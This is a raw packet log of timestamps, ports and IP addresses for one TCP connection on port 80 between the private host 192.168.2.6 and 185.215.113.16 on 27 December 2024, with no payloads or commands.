Dec 27, 2024 08:50:56.171811104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.172110081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.172183037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.172195911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.172230959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.172272921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.172455072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.173094034 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173108101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173121929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173142910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173192978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.173192978 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.173727989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173741102 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173752069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.173834085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.180249929 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.229217052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229233027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229247093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229269028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229299068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.229329109 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.229451895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229510069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229522943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.229572058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.229954004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230010033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230022907 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230043888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.230084896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.230418921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230456114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230469942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230515957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.230588913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.230640888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.231206894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.231271029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.231283903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.231342077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.231360912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.231484890 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.232136965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.232150078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.232162952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.232259035 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.262244940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.293732882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.293761969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.293775082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.293833017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.293834925 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.293885946 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.294083118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294120073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294131994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294228077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294256926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.294316053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.294881105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294902086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294913054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.294945955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.295005083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.295064926 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.296168089 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296188116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296200037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296214104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296233892 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.296264887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.296431065 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296489954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296502113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296576023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.296580076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.296761036 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.316720009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.362991095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363017082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363029957 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363044977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363068104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.363102913 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.363364935 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363398075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363410950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363475084 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.363890886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363941908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.363956928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.364001989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.364001989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.364013910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.364626884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.364671946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.364687920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.364691973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.364737988 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.364768028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.365427017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.365456104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.365472078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.365516901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.365542889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.365557909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.366206884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.366265059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.366278887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.366287947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.366357088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.366384983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.366982937 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367046118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.367053032 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367067099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367126942 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367146015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.367784023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367821932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367835045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.367857933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.367875099 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.367907047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.368561983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.368618011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.368629932 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.368664980 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.368710041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.369369030 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.369410992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.369424105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.369456053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.369508028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.369510889 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.370148897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.370207071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.370218992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.370225906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.370258093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.370297909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.370924950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.370979071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.370996952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371012926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371078014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371160984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.371747971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371769905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371783972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.371794939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.371835947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.371860981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.372526884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.372548103 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.372560978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.372600079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.372618914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.372685909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.373348951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.373368979 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.373383999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.373416901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.373416901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.373433113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374154091 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374166965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374182940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374222994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.374222994 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.374301910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374942064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374955893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374969959 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374982119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.374986887 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.375005960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.377480030 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.430458069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430491924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430505037 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430516958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430551052 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.430605888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.430752039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430808067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430819988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.430963039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.431441069 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.431529999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.431543112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.431562901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.431602955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.431616068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.432087898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432131052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432141066 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432204008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432213068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.432852983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432879925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432892084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.432940006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.432940006 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.432965994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.433619022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.433703899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.433749914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.474849939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.495054960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495086908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495099068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495182991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.495223045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495263100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495275974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.495311022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.495338917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.495407104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496048927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496071100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496083021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496105909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.496144056 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.496170044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496798038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496869087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496889114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.496926069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.496944904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.497376919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.497441053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.497452021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.497482061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.497522116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.498172998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.498191118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.498203993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.498231888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.498251915 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.564322948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564368963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564382076 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564472914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.564477921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564579964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.564683914 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564704895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564721107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.564860106 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.565211058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.565267086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.565282106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.565284967 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.565324068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.565372944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.565996885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566076994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566090107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566097021 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.566137075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.566143990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566776991 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566821098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.566833019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566844940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.566891909 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.566915989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.567570925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.567637920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.567656040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.567691088 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.567715883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.567718029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.568372011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.568414927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.568428040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.568470955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.568470955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.568516016 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569216013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569230080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569243908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569251060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.569272995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.569303036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569968939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569979906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.569993019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.570012093 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.570043087 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.570094109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.570734978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.570780039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.570791960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.570832014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.570832014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.570859909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.571540117 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.571554899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.571568012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.571589947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.571620941 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.571645975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.572299004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.572357893 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.572364092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.572376966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.572448015 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.572500944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.573224068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573237896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573276043 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.573276997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573301077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573360920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.573926926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573950052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573962927 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.573978901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.573996067 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.574059010 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.574693918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.574733973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.574747086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.574836969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.574836969 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.575078011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.575479984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.575515985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.575530052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.575568914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.575568914 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:56.575608969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.576247931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.576271057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:56.576283932 CET	80	49752	185.215.113.16	192.168.2.6
